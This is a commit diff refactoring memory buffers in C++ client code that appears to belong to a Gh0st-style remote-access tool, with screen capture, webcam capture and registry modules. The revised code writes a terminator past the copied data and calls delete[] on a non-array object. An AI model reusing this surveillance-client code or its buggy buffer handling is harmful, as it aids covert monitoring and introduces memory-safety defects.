减少远程桌面new的频次

减少远程桌面new缓冲区的频率，将部分从堆上new固定内存的操作改用从栈上分配内存。

client/RegisterOperation.cpp

@@ -86,7 +86,6 @@ char* RegisterOperation::FindPath()
 		if(KeyCount>0&&KeySize>1){
 			int Size=sizeof(REGMSG)+1;
 
-			//buf=new char[KeyCnt*KeySize+size+1];
 			DWORD DataSize=KeyCount*KeySize+Size+1;    //[TOKEN_REG_PATH][2 11 ccccc\0][11][11]
 			szBuffer=(char*)LocalAlloc(LPTR, DataSize);
 			ZeroMemory(szBuffer,DataSize);

client/ScreenManager.cpp

@@ -28,6 +28,8 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n):CManager(ClientO
 
 	m_ScreenSpyObject = new CScreenSpy(16);
 
+	szBuffer = new char[4 * m_ScreenSpyObject->m_ulFullWidth * m_ScreenSpyObject->m_ulFullHeight];
+
 	m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL);
 }
 
@@ -64,8 +66,6 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
 				printf("SendScreen Span = %d ms\n", span);
 			last = clock();
 			This->SendNextScreen(szBuffer, ulNextSendLength);
-			delete[] szBuffer;
-			szBuffer = NULL;
 		}
 	}
 	timeEndPeriod(1);
@@ -102,6 +102,11 @@ CScreenManager::~CScreenManager()
 
 	delete[] m_ScreenSpyObject;
 	m_ScreenSpyObject = NULL;
+	if(szBuffer)
+	{
+		delete [] szBuffer;
+		szBuffer = NULL;
+	}
 }
 
 VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
@@ -195,16 +200,12 @@ VOID CScreenManager::SendFirstScreen()
 	}
 
 	ULONG	ulFirstSendLength = 1 + m_ScreenSpyObject->GetFirstScreenLength();
-	LPBYTE	szBuffer = new BYTE[ulFirstSendLength];
 
 	szBuffer[0] = TOKEN_FIRSTSCREEN;
 	memcpy(szBuffer + 1, FirstScreenData, ulFirstSendLength - 1);
 
 	m_ClientObject->OnServerSending((char*)szBuffer, ulFirstSendLength);
-
-	delete [] szBuffer;
-
-	szBuffer = NULL;
+	szBuffer[ulFirstSendLength] = 0;
 }
 
 const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
@@ -218,10 +219,9 @@ const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
 
 	ulNextSendLength += 1;
 
-	char*	szBuffer = new char[ulNextSendLength];
-
 	szBuffer[0] = TOKEN_NEXTSCREEN;
 	memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1);
+	szBuffer[ulNextSendLength] = 0;
 
 	return szBuffer;
 }

client/ScreenManager.h

@@ -17,6 +17,7 @@ class IOCPClient;
 class CScreenManager : public CManager  
 {
 public:
+	char*	szBuffer;
 	CScreenManager(IOCPClient* ClientObject, int n);
 	virtual ~CScreenManager();
 	HANDLE  m_hWorkThread;

client/TestRun.vcxproj.user

@@ -1,10 +1,10 @@
 <?xml version="1.0" encoding="utf-8"?>
 <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
-    <RemoteDebuggerCommand>D:\VM\Remoter\TestRun.exe</RemoteDebuggerCommand>
-    <RemoteDebuggerWorkingDirectory>D:\VM\Remoter</RemoteDebuggerWorkingDirectory>
-    <RemoteDebuggerServerName>192.168.12.248</RemoteDebuggerServerName>
-    <DeploymentDirectory>D:\VM\Remoter</DeploymentDirectory>
+    <RemoteDebuggerCommand>C:\VM\Remoter\TestRun.exe</RemoteDebuggerCommand>
+    <RemoteDebuggerWorkingDirectory>C:\VM\Remoter</RemoteDebuggerWorkingDirectory>
+    <RemoteDebuggerServerName>192.168.43.2</RemoteDebuggerServerName>
+    <DeploymentDirectory>C:\VM\Remoter</DeploymentDirectory>
     <AdditionalFiles>$(TargetDir)\TestRun.pdb;$(TargetDir)\ServerDll.dll;$(TargetDir)\ServerDll.pdb</AdditionalFiles>
     <RemoteDebuggerDeployDebugCppRuntime>false</RemoteDebuggerDeployDebugCppRuntime>
     <DebuggerFlavor>WindowsRemoteDebugger</DebuggerFlavor>

client/VideoManager.cpp

@@ -83,25 +83,21 @@ void CVideoManager::Destroy()
 
 void CVideoManager::SendBitMapInfor()
 {
-	DWORD	dwBytesLength = 1 + sizeof(BITMAPINFO);
-	LPBYTE	szBuffer = new BYTE[dwBytesLength];
-	if (szBuffer == NULL)
-		return;
-
-	szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;   //+ ͷ
+	const int	dwBytesLength = 1 + sizeof(BITMAPINFO);
+	BYTE szBuffer[dwBytesLength + 3] = { 0 };
+	szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
 	memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
-	m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);	
-	delete [] szBuffer;		
+	m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);
 }
 
 void CVideoManager::SendNextScreen()
 {
 	DWORD dwBmpImageSize=0;
-	LPVOID	lpDIB =m_CapVideo.GetDIB(dwBmpImageSize); //m_pVideoCap->GetDIB();
+	LPVOID	lpDIB =m_CapVideo.GetDIB(dwBmpImageSize);
 	// token + IsCompress + m_fccHandler + DIB
 	int		nHeadLen = 1 + 1 + 4;
 
-	UINT	nBufferLen = nHeadLen + dwBmpImageSize;//m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage;
+	UINT	nBufferLen = nHeadLen + dwBmpImageSize;
 	LPBYTE	lpBuffer = new BYTE[nBufferLen];
 
 	lpBuffer[0] = TOKEN_WEBCAM_DIB;

client/ghost.vcxproj.user

@@ -2,7 +2,7 @@
 <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
     <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
-    <LocalDebuggerCommandArguments>192.168.12.250 2356</LocalDebuggerCommandArguments>
+    <LocalDebuggerCommandArguments>192.168.104.250 2356</LocalDebuggerCommandArguments>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
     <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>